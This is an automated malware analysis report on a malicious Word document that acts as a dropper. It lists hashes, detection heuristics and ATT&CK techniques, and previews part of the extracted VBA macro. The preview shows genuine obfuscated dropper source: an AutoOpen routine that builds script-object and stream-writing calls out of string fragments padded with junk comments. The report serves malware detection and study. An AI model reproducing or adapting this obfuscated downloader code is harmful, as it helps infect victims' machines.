Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e036c602bcd83f9a…

MALICIOUS

Office (OLE)

77.0 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 1576fb83026c5b80088a4220b4436d4b SHA-1: f783659b182e620c83d6b2c30c806ebcd78a2b6b SHA-256: e036c602bcd83f9a5a03cff1873b907f915515a71b0dc730f0952ad7e671c9ac
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen function, indicating it's designed to execute automatically upon opening. Heuristics confirm the presence of VBA macros and a CreateObject call, suggesting the execution of arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6362016-0' further supports its malicious nature as a dropper. The macro's intent is to download and execute a second-stage payload, a common tactic for malware distribution.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6362016-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6362016-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11611 bytes
SHA-256: 30ec89185dd7a46286404e8b9e6aedefba95fedd13e1420a7828f18b4a2cdd80
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub xysaccox(odxidi, datpotju)
odxidi.Language = datpotju
End Sub
        
Sub exybibo0()
Dim vcyryvas5, vimykcic, liqgejvub, wozegfikky0, afonqokjyjm, hvyxicnyw0, ybogowoxt, ujejkujc, vofuc7, djigqinjegla, oqviwymrib, gycsecto, zceczysu1, hymbuvlasvi0, vbagdutq7, dehratomvu9, efajmi3, bxotilcunqo5, jodrebo, notuj8, benawac, gejalkegdy
Dim ighynre4, lujypesde, zzepepo, japtacwep1, ovquxelqeq, xfetluhobwu, ynvofwybov0, plujciqi9, ofyqsoja, ecbussicpu, culseljoh6, sbagdydej3, apfeje, rpelykmeq8, ijunary, ezajwe, oviprylyd, iwodkyvi, ipgusfatb6
Dim ifubuql3
Dim upyjexr0, jjixazvi0, ypicbokzu0, bibasmomnu8, dehkofry, xgaqacazx1, edadebo0, ifhybwo7, gykofeja, hovnysofby, urore, wervuphohp5, ixmupy2, iryzmihnyz3, sahifi, ofetapse1, sxysesg, uvikoji9, ipfebwos7, bgidyjl, awwofabut3, ezpoly
Dim ozrydawi7, marwesfitlo2, izrapqozv, omajivu1, mlolazixvy, ulocy6, thyqkeceju4, itedelp5, wcevowyjy0, osagoxe0, capocsuwq0, vidahta5, upgujatze, bsezladz, mzozokalsa, bsivapulqe0
'ingratiatingly priors lynx extern constancy genteelly misers
Dim wtokek0
Dim msozytigu0, isomcyldy, yfemdohq, ajjymavr6, ezginocv0, iroxfiwx2, ugysfa0, ywjahke5, ilhebehwomb, xyhruwko9, qzurejw, kpeluhisi7, afisybqa9, mezepun7, otborofi, emavmilij3, hqijdanixj5, aqfyplenw9
Dim atpyjemoxc
Dim awusarxy9
Dim onorkypf1
Dim ehcycfewyp
Dim igylud
Dim aqexijuxb, ufejojf2, etnumaj, ojahyvy, ozajezjyg, qxecol9, orujvu, jxoszypmeze7, jvuvirj, hkujaxvymu7, obpabcycnus, klofaqes6, vzuquvopso8, fvobvizyg, oxcagaxa3, udovhuv5, jyzep9, yfgiqy8, mapesajo8, byqiwo, ivpuqjo1, dijcut, odvapyqo
'brewing dizzyingly spoon west seethed idealistic parakeets chimpanzees steams
Dim otidho8
Dim ixufa8, udtumokxo, hkyqat, twatjamp, ezokuviv0, nopgal0, oxpusini0, feqeprumru9, ilulpugw0, qsewuz4, orynfojiw5, qoxaxz7, ytzusmec, amcosixpan0, adenegi, awezaq5, wygfuva, dseglomux, byslorxiv7, miwticow7, jilolap, byfjuzuk, ezylpo, tkesixe3
Dim qitefse
Dim enaru4
Dim rtukelci1
Dim umfubdax7, vexrodoswe2, ihengagzi4, imohlenl5, ywzemeptupd0, ezoxku6, ekhamedf6, janodxa, hqemiqwo5, roksiwebn, ycqupre3, qsegycezxe9, ymyvfoko0, fsamzati, wyrod, wixibyfro9, jbiropbudhu
Dim uhmufliqto6, ktilbifyg, yglucpegvo9, yhqutebcik2, wjefydf, yfqesy3, cidbuwfi, yzyldowavr5, ewuqnuvji, uxejfakk3, ubysboxh5, otykt6, ymeqkofko5, ykepumj0, yhvaqcuqwa2, zixne, umzofdy, iqnuzn, ulzic1, wuzdercopk, ektyvpyw, ujxozhu6, ivqomw, kwydi, uzafl6
Dim ysdadce0
bibasmomnu8 = """, "
zzepepo = "+ f"
'loyalty reinfection udder laureate drummed responsively grumbles
qitefse = "Wri"
ezylpo = "ass"
ixmupy2 = "; }"
izrapqozv = "ng."
klofaqes6 = "bje"
ofetapse1 = "bje"
'rational threatened squander bombings prevalence settler scullery retort manhandled
afisybqa9 = ");s"
ofyqsoja = ".op"
qxecol9 = "jec"
ojahyvy = ";st"
upyjexr0 = "ar "
'stroked campsite warmonger manipulators exclamatory dermatologists fits
jxoszypmeze7 = "tre"
tkesixe3 = " Ac"
hovnysofby = "ll"""
sbagdydej3 = "eam"
vexrodoswe2 = "m.T"
kpeluhisi7 = "4/s"
emavmilij3 = "mdr"
'mouthful forbiddingly shyest uncouth homological victims governesses embitterment
bxotilcunqo5 = "am"""
jvuvirj = "h ="
dehkofry = "() "
ozrydawi7 = "ass"
oxpusini0 = "sof"
oxcagaxa3 = "Ope"
itedelp5 = "spo"
yfqesy3 = ".ex"
'sorry ursine montreal translation murmurer flowed consummation knowing
lujypesde = "der"
udtumokxo = "tre"
oviprylyd = "n()"
byslorxiv7 = "eXO"
qoxaxz7 = "cri"
adenegi = "fso"
xgaqacazx1 = "DOD"
onorkypf1 = "veT"
bsezladz = " = "
'battlement tragically homosexuality reaped somersaults searcher ligatures
qsegycezxe9 = "new"
xfetluhobwu = "am."
yglucpegvo9 = "Fol"
liqgejvub = "185"
uvikoji9 = "am."
cidbuwfi = "tmp"
jbiropbudhu = "jec"
'stamping anteriorly racehorse pitiably prefabs
ijunary = "m.C"
umfubdax7 = "= 0"
ovquxelqeq
... (truncated)

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